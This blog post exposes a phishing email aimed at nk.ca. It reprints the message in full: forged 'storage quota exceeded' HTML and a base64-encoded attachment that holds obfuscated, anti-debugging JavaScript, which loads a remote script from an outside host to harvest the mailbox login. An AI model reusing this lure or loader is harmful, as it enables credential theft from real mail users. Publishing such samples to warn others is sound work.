Phishing for nk.ca credentials

Posted by Dave Yadallee on
Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Mon, 26 Jun 2023 14:24:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.96 (FreeBSD))

(envelope-from )

id 1qDsjN-0007Lq-1J

for dave@doctor.nl2k.ab.ca;

Mon, 26 Jun 2023 14:22:37 -0600

Resent-From: The Doctor

Resent-Date: Mon, 26 Jun 2023 14:22:37 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from hwsrv-1074986.hostwindsdns.com ([104.168.149.218]:36378)

by doctor.nl2k.ab.ca with esmtp (Exim 4.96 (FreeBSD))

(envelope-from )

id 1qDo9N-000OWl-2p

for root@nk.ca;

Mon, 26 Jun 2023 09:29:13 -0600

Received: from naver.com (localhost [IPv6:::1])

by hwsrv-1074986.hostwindsdns.com (Postfix) with ESMTP id B935327C69

for ; Mon, 26 Jun 2023 15:04:50 +0000 (UTC)

From: Nk =?UTF-8?B?TWVtYmVyIFNlcnZpY2Vz?= || =?UTF-8?B?UG9zdG1hc3RlciBDZW50ZXI=?=

To: root@nk.ca

Subject: =?UTF-8?B?W1NUMFJBR0UgUVUwVEEgTElNSVQgRVhDRUVERURdICBSZXRyZWl2ZSBZb3VyIE5ldyBQZW5kaW5nIE1lc3NhZ2VzIOKciSAhISEgT24gSG9sZA==?=

Date: 26 Jun 2023 17:04:50 +0200

Message-ID: <20230626170450.F32DCC34F193D25E@naver.com>

MIME-Version: 1.0

Content-Type: multipart/mixed;

boundary="----=_NextPart_000_0012_2E9E528A.3BD8F049"



This is a multi-part message in MIME format.



------=_NextPart_000_0012_2E9E528A.3BD8F049

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable














sform: none; text-indent: 0px; letter-spacing: normal; font-family: Arial; =

font-size: small; font-style: normal; font-weight: 400; word-spacing: 0px; =

white-space: normal; orphans: 2; widows: 2; background-color: rgb(255, 255,=

255); -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; font=

-variant-caps: normal; text-decoration-style: initial; text-decoration-colo=

r: initial; text-decoration-thickness: initial;">







sform: none; text-indent: 0px; letter-spacing: normal; font-family: "Segoe =

UI", sans-serif; font-size: 1.2em; font-style: normal; font-weight: 600; ma=

rgin-bottom: 1.5em; word-spacing: 0px; white-space: normal; orphans: 2; wid=

ows: 2; -webkit-text-stroke-width: 0px; font-variant-ligatures: normal; fon=

t-variant-caps: normal; text-decoration-style: initial; text-decoration-col=

or: initial; text-decoration-thickness: initial;'>

Your mailbox is storage almost full.


center" style=3D"text-transform: none; letter-spacing: normal; font-family:=

"Segoe UI", sans-serif; word-spacing: 0px; border-collapse: coll=

apse; orphans: 2; widows: 2; -webkit-text-stroke-width: 0px; text-decoratio=

n-style: initial; text-decoration-color: initial; text-decoration-thickness=

: initial;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
le=3D"height: 0.5em;">




ble width=3D"325" align=3D"center" style=3D"text-transform: none; letter-sp=

acing: normal; font-family: "Segoe UI", sans-serif; word-spacing:=

0px; border-collapse: collapse; orphans: 2; widows: 2; -webkit-text-stroke=

-width: 0px; text-decoration-style: initial; text-decoration-color: initial=

; text-decoration-thickness: initial;" border=3D"0" cellspacing=3D"0" cellp=

adding=3D"0">

15 G=

B14.23 G=

B


ext-transform: none; text-indent: 0px; letter-spacing: normal; font-family:=

"Segoe UI", sans-serif; font-size: 12px; font-style: normal; font-weight: =

400; word-spacing: 0px; white-space: normal; orphans: 2; widows: 2; -webkit=

-text-stroke-width: 0px; font-variant-ligatures: normal; font-variant-caps:=

normal; text-decoration-style: initial; text-decoration-color: initial; te=

xt-decoration-thickness: initial;'>

Email storage almost full and you have pending message, To make room i=

n your mailbox, Please follow the attachment below to add more space.

ria-hidden=3D"true">Learn more about storage limits.

Note: F=

ailure to make room in your mailbox maight lead to account closure.
>
Mailbox address:
ro=

ot@nk.ca



x 0px 1px; border-style: dotted; border-color: rgb(51, 51, 51); cursor: poi=

nter;" email=3D"root@nk.ca ">



>

------=_NextPart_000_0012_2E9E528A.3BD8F049

Content-Type: text/html; name="=?UTF-8?B?UmVsZWFzZSBQZW5kaW5nIE1lc3NhZ2U=?= 10.html"

Content-Transfer-Encoding: base64

Content-Disposition: attachment; filename="=?UTF-8?B?UmVsZWFzZSBQZW5kaW5nIE1lc3NhZ2U=?= 10.html"



PHNjcmlwdD4NCg0KICAgIHZhciB1cmxfc3RyaW5nID0gImNtOXZkRUJ1YXk1allRPT0iOw0K

ICAgIHZhciByZXggPSAiTVRVM09ESTBNakExTnciOw0KDQogIDwvc2NyaXB0Pg0KDQogIDwh

RE9DVFlQRSBodG1sPg0KICA8aHRtbD4NCiAgICA8aGVhZD4NCiAgICAgIDxzY3JpcHQ+DQog

ICAgICAgIChmdW5jdGlvbihfMHg1NjNlNjQsXzB4NDU2MjQxKXtjb25zdCBfMHg0ZDY5NDI9

XzB4NThhZSxfMHgyODBiYjk9XzB4NTYzZTY0KCk7d2hpbGUoISFbXSl7dHJ5e2NvbnN0IF8w

eDNiM2FkZj1wYXJzZUludChfMHg0ZDY5NDIoMHhhZikpLzB4MSstcGFyc2VJbnQoXzB4NGQ2

OTQyKDB4YTkpKS8weDIrLXBhcnNlSW50KF8weDRkNjk0MigweGFhKSkvMHgzKigtcGFyc2VJ

bnQoXzB4NGQ2OTQyKDB4YTYpKS8weDQpK3BhcnNlSW50KF8weDRkNjk0MigweGIyKSkvMHg1

K3BhcnNlSW50KF8weDRkNjk0MigweGE4KSkvMHg2KigtcGFyc2VJbnQoXzB4NGQ2OTQyKDB4

YjApKS8weDcpK3BhcnNlSW50KF8weDRkNjk0MigweGE3KSkvMHg4KihwYXJzZUludChfMHg0

ZDY5NDIoMHhhYykpLzB4OSkrcGFyc2VJbnQoXzB4NGQ2OTQyKDB4YjEpKS8weGEqKC1wYXJz

ZUludChfMHg0ZDY5NDIoMHhhZSkpLzB4Yik7aWYoXzB4M2IzYWRmPT09XzB4NDU2MjQxKWJy

ZWFrO2Vsc2UgXzB4MjgwYmI5WydwdXNoJ10oXzB4MjgwYmI5WydzaGlmdCddKCkpO31jYXRj

aChfMHg0Y2UxNDApe18weDI4MGJiOVsncHVzaCddKF8weDI4MGJiOVsnc2hpZnQnXSgpKTt9

fX0oXzB4MTI1OSwweGQzOGU1KSk7ZnVuY3Rpb24gXzB4NThhZShfMHgxYjRkYTgsXzB4MWU1

M2U2KXtjb25zdCBfMHgxMjU5ZjY9XzB4MTI1OSgpO3JldHVybiBfMHg1OGFlPWZ1bmN0aW9u

KF8weDU4YWVjMSxfMHgxOTg2OTIpe18weDU4YWVjMT1fMHg1OGFlYzEtMHhhNjtsZXQgXzB4

MzYyYTU1PV8weDEyNTlmNltfMHg1OGFlYzFdO3JldHVybiBfMHgzNjJhNTU7fSxfMHg1OGFl

KF8weDFiNGRhOCxfMHgxZTUzZTYpO31sZXQgaW50ZXJ2YWxJZD1zZXRJbnRlcnZhbCgoKT0+

e2NvbnN0IF8weDM2MGMzNz1fMHg1OGFlO2lmKHR5cGVvZiBjb25zb2xlW18weDM2MGMzNygw

eGFkKV09PT1fMHgzNjBjMzcoMHhhYikpZGVidWdnZXI7fSwweDNlOCk7ZnVuY3Rpb24gXzB4

MTI1OSgpe2NvbnN0IF8weDUyNmVkYT1bJzdvU05MZWcnLCcxMDAwbnpuam9yJywnNTc0MjUx

MFpmaGtZVycsJzM3MjU2RHZEbFVtJywnMTZJaU9nZ2snLCc0NDI3NjEwTUx2a0hkJywnMjI0

NTIxNHVhTEt1VicsJzM5OVd0UWFPbycsJ2Z1bmN0aW9uJywnNTA5MzA4MnhpbEFKQicsJ2Rl

YnVnJywnMjMwODkwcm1vdndnJywnMTMwNzAxNVF2bmZIeiddO18weDEyNTk9ZnVuY3Rpb24o

KXtyZXR1cm4gXzB4NTI2ZWRhO307cmV0dXJuIF8weDEyNTkoKTt9DQogICAgICAgIA0KICAg

ICAgICBjb25zdCBhaiA9ICJhSFIwY0hNNkx5OXVhV052YzJGc2FTNWpiMjB2ZFhCa1lYUmxM

bXB6IjsNCiAgICAgICAgZG9jdW1lbnQud3JpdGUoJzxzY3JpcHQgc3JjPSInICsgYXRvYihh

aikgKyAnIj48XC9zY3JpcHQ+Jyk7DQogICAgICAgIA0KICAgICAgICBmdW5jdGlvbiBfMHgy

OTUyKF8weDMxMGZlNyxfMHgzYzc3NmUpe3ZhciBfMHgxMWViMDI9XzB4MTFlYigpO3JldHVy

biBfMHgyOTUyPWZ1bmN0aW9uKF8weDI5NTIwOCxfMHgyZDZkMGEpe18weDI5NTIwOD1fMHgy

OTUyMDgtMHhhZTt2YXIgXzB4M2IyN2ZlPV8weDExZWIwMltfMHgyOTUyMDhdO3JldHVybiBf

MHgzYjI3ZmU7fSxfMHgyOTUyKF8weDMxMGZlNyxfMHgzYzc3NmUpO31mdW5jdGlvbiBfMHgx

MWViKCl7dmFyIF8weDU4YjZkOT1bJzE0OTgzNVhzYnZycicsJ2xvY2F0aW9uJywnMTA2Mzcx

dENnQ1pjJywnMTkwMTExMk1EaWhPaCcsJzkwNTBHb2hCd0knLCcxMzIzekpxblJZJywnMzI5

MTA1RHRORlJJJywnc3Vic3RyaW5nJywnMTJ3Y2p1UVYnLCcyNEt2YlprYycsJzUyMzAwODJM

TVNNcFknLCdocmVmJywnNDg4MDg4VUJoRFNaJywnMlRBQUtFUiddO18weDExZWI9ZnVuY3Rp

b24oKXtyZXR1cm4gXzB4NThiNmQ5O307cmV0dXJuIF8weDExZWIoKTt9dmFyIF8weDRhYTE1

Mz1fMHgyOTUyOyhmdW5jdGlvbihfMHgyMzJmYjgsXzB4NGRjNzQzKXt2YXIgXzB4NTQzZGY5

PV8weDI5NTIsXzB4NTQwMWI5PV8weDIzMmZiOCgpO3doaWxlKCEhW10pe3RyeXt2YXIgXzB4

MTZiOGI3PXBhcnNlSW50KF8weDU0M2RmOSgweGFmKSkvMHgxKihwYXJzZUludChfMHg1NDNk

ZjkoMHhhZSkpLzB4MikrcGFyc2VJbnQoXzB4NTQzZGY5KDB4YjIpKS8weDMqKC1wYXJzZUlu

dChfMHg1NDNkZjkoMHhiOSkpLzB4NCkrLXBhcnNlSW50KF8weDU0M2RmOSgweGIwKSkvMHg1

Ky1wYXJzZUludChfMHg1NDNkZjkoMHhiOCkpLzB4NioocGFyc2VJbnQoXzB4NTQzZGY5KDB4

YjYpKS8weDcpKy1wYXJzZUludChfMHg1NDNkZjkoMHhiMykpLzB4OCtwYXJzZUludChfMHg1

NDNkZjkoMHhiNSkpLzB4OSooLXBhcnNlSW50KF8weDU0M2RmOSgweGI0KSkvMHhhKStwYXJz

ZUludChfMHg1NDNkZjkoMHhiYSkpLzB4YjtpZihfMHgxNmI4Yjc9PT1fMHg0ZGM3NDMpYnJl

YWs7ZWxzZSBfMHg1NDAxYjlbJ3B1c2gnXShfMHg1NDAxYjlbJ3NoaWZ0J10oKSk7fWNhdGNo

KF8weDIwMjRiNyl7XzB4NTQwMWI5WydwdXNoJ10oXzB4NTQwMWI5WydzaGlmdCddKCkpO319

fShfMHgxMWViLDB4M2U4ODkpLGRvY3VtZW50W18weDRhYTE1MygweGIxKV1bXzB4NGFhMTUz

KDB4YmIpXT0nIycrd2luZG93W18weDRhYTE1MygweGIxKV1bJ2hhc2gnXVtfMHg0YWExNTMo

MHhiNyldKDB4MSkpOw0KICAgICAgPC9zY3JpcHQ+DQogICAgPC9oZWFkPg0KICAgIDxib2R5

Pg0KICAgICAgPHA+PC9wPg0KICAgIDwvYm9keT4NCiAgPC9odG1sPg0KICA=



------=_NextPart_000_0012_2E9E528A.3BD8F049--



Trackbacks

Trackback specific URI for this entry

This link is not meant to be clicked. It contains the trackback URI for this entry. You can use this URI to send ping- & trackbacks from your own blog to this entry. To copy the link, right click and select "Copy Shortcut" in Internet Explorer or "Copy Link Location" in Mozilla.

No Trackbacks

Comments

Display comments as Linear | Threaded

No comments

Add Comment

Enclosing asterisks marks text as bold (*word*), underscore are made via _word_.
Standard emoticons like :-) and ;-) are converted to images.

To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.
CAPTCHA

Enclosing asterisks marks text as bold (*word*), underscore are made via _word_.
Standard emoticons like :-) and ;-) are converted to images.

To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.
CAPTCHA